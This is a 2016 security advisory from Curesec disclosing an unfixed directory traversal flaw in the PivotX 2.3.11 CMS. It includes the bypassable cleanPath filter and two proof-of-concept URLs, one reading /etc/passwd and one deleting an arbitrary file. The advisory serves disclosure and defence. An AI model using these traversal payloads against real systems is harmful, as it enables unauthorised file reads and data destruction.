PivotX 2.3.11 - Directory Traversal

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    PivotX 2.3.11
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pivotx.net/
Vulnerability Type:  Directory Traversal
Remote Exploitable:  Yes
Reported to vendor:  01/20/2016
Disclosed to public: 03/15/2016
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Overview

PivotX is a CMS for blogging written in PHP. In version 2.3.11, it is
vulnerable to Directory Traversal, allowing authenticated users to read and
delete files outside of the PivotX directory.

3. Details

Description

CVSS: Medium 4.0 AV:N/AC:L/Au:S/C:P/I:N/A:N

The function cleanPath which is responsible for sanitizing path names can be
bypassed by an attacker, leading to directory traversal in multiple places.

Proof of Concept

Admins and Superadmins can read any file:

http://localhost/pivotx_latest/pivotx/ajaxhelper.php?function=view&basedir=
L3Zhci93d3cvcGl2b3R4X2xhdGVzdC9CYXNlZGlyLwo=&file=../.....//...//.....//.../
/.....//...//.....//...//.....//...//.....//...//etc/passwd

Advanced users, Admins and Superadmins can delete any file, possibly leading to
DOS:

http://localhost/pivotx_latest/pivotx/index.php?page=media&del=.....//.../
/.....//...//.....//...//.....//...//.....//...//.....//...//important/
important.file&pivotxsession=ovyyn4ob2jc5ym92

Code

lib.php
function cleanPath($path) {
    $path = str_replace('../', '', $path);
    $path = str_replace('..\\', '', $path);
    $path = str_replace('..'.DIRECTORY_SEPARATOR, '', $path);
    return $path;
}

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

01/20/2016 Informed Vendor about Issue
01/29/2016 Vendor replies, PivotX is not maintained anymore
03/15/2016 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/PivotX-2311-Directory-Traversal-154.html
 
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Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany